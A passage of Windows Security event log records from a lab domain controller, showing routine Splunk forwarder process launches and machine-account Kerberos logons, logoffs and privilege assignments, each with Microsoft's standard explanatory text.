-Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4cc - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:27:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256521 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x418ADD - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:27:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256520 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x418BEB - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:27:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256519 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x418C34 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:27:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256518 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x418CA6 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {250C95BA-D7BE-68DE-E803-AA7B4845FE00} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 65330 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:27:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256517 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x418CA6 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:27:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256516 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x418C34 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 65329 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:27:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256515 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x418C34 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:27:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256514 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x418BEB - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 0 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:27:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256513 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x418BEB - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:27:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256512 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x418ADD - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 65328 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:27:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256511 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x418ADD - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:27:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256523 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x7b0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:27:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256524 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf04 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:27:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256525 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11a8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:27:22 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256526 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x418CA6 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:27:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256529 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x41B247 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:27:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256528 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x41B247 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 65341 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:27:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256527 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x41B247 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:28:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256530 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb8c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:28:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256532 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa0c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:28:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256531 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x994 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:28:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256533 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10f0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:28:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256534 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1254 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:28:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256535 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x404 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the 